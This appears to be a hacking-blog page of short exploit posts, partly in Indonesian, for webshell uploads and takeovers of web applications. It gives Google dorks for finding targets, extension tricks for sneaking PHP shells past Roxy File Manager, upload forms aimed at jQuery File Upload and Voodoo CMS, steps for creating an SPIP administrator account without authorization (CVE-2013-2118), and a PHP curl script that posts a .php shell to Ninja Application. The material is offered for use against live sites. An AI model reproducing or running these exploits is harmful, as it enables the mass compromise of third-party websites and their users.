Roxy File Manager Shell Upload Vulnerability

#- Title: Roxy File Manager Shell Upload Vulnerability

#- Author: Jiwa Kegelapan Team

#- Date: 2015

#- Developer : Lyubomir Arsov

#- Link Download : roxyfileman .com/download

#- Google Dork: intitle:"Roxy File Manager"

#- Fixed in Version : -

#- Tested on : Wedus

=======================================================

-- Proof Of Concept --

Vulnerability : Site.com/path/fileman/

When Vulnerable : 

Methode : 

1. Add File

2. Choose your shell 

* Shell Extension : x.php.xxxjpg / x.php.asp / x.php.jpg / x.php5

3. if succes, your shell will visible there.

Shell Path : Here 

Read more ...

jQuery File Upload Vulnerability

#- Title: jQuery File Upload Vulnerability

#- Author: People_hurt

#- Date: 17/02/2015

#- Developer : jQuery.com

#- Link Download : jquery. com/download/

#- Google Dork: inurl:"/jquery-file-upload/"

#- Fixed in Version : > 2.1.0

-- Proof Of Concept --

Code : 

<form method="POST" action="victim,com /path/jquery-file-upload/server/php/"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form> 

Shell : Here

Read more ...

SPIP CMS - Add User Administrator

#- Exploit Title: SPIP CMS - Add User Administrator

#- Author: Gregory Draperi

#- Date: 04/30/2014

#- Flaw finder : Unknown

#- Email: Gregory.draperi@gmail.com

#- Vendor Homepage: www.spip.net

#- Software Link: files.spip.org/spip/archives/

#- Version : SPIP < 3.0.9 / 2.1.22 / 2.0.23

#- Tested on: Windows 7 - SPIP 2.2.22

#- CVE : CVE-2013-2118

-----------------------------------------------------------------------------

Vulnerability :

Kerentanan ini memungkinkan seseorang untuk membuat account administrator pada CMS tanpa dikonfirmasi.

Untuk mengatasi, konfigurasi SMTP harus dikonfigurasi pada SPIP CMS karena verivy password dikirim melalui pos.

Proof Of Concept :

http://3xploi7.com/spip.php?page=identifiants&mode=0minirezo

Cara :
1. Jika vuln, kamu akan menerima bot email dari web tersebut. kamu harus klik link verivikasi ( jika muncul ) agar bisa masuk
2. Setelah kamu verivykasi datanya, kamu tinggal login .
web.com/ecrire
3. Jika berhasil, kamu klik salah satu post dan kamu edit, scroll kebawah sampai menemukan uploader ( intinya : temuin uploader )
4. kamu upload file html / gif / jpg / txt
5. Setelah berhasil diupload kamu tinggal klik kanan open in new tab 

Atau bisa cari berdasarkan extension, Contoh : 

web.com/IMG/html/filemu.html
web.com/IMG/gif/filemu.gif
web.com/IMG/txt/filemu.txt

Dan seterusnya 

Vulnerability Fixed in > V.3.0.9

Read more ...

Voodoo CMS Aribitarty File Upload

#- Title : Voodoo CMS Aribitarty File Upload

#- Web Vendor : voodoocms.com

#- Author : Mr. Error 404

#- Tested on : Windows 8 , Linux

#- Date : 9/12/15

#- Dork :"Dise�o y Desarrollo PVS Interactive"

Infected :

-= web.com/voodoo-admin/uploader.php -> Method post: qqfile

-= web.com/voodoo-admin/upload.php -> Method post: Filedata

-= web.com/uploader.php -> Method post: qqfile

Proof of Concept

qqfile :

<form enctype="multipart/form-data"

action="http://web.com/voodoo-admin/uploader.php" method="post">

Your File: <input name="qqfile" type="file" /><br />

<input type="submit" value="upload" />

</form>

Result : Here

Read more ...

Ninja Application Remote Code Vulnerability

#- Title : Ninja Application Remote Vulnerability

#- Vendor : nexthon
#- Platform : PHP

#- Tested on : Windows 8 , Linux

#- Date : 9/16/15

#- Vuln Code : {"jsonrpc" : "2.0", "result" : null, "id" : "id", "cleanFileName" : ""}

#- Vulnerability :  /ninja-applications/fufu/controllers/uploader/upload.php

proof of concept :

<?php
$url = "http://target/ninja-applications/fufu/controllers/uploader/upload.php"; // put URL Here
$post = array
(
"file" => "@3xploi7.jpg",
"name" => "3xploi7.php"
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data;
?>

Result : Here

Read more ...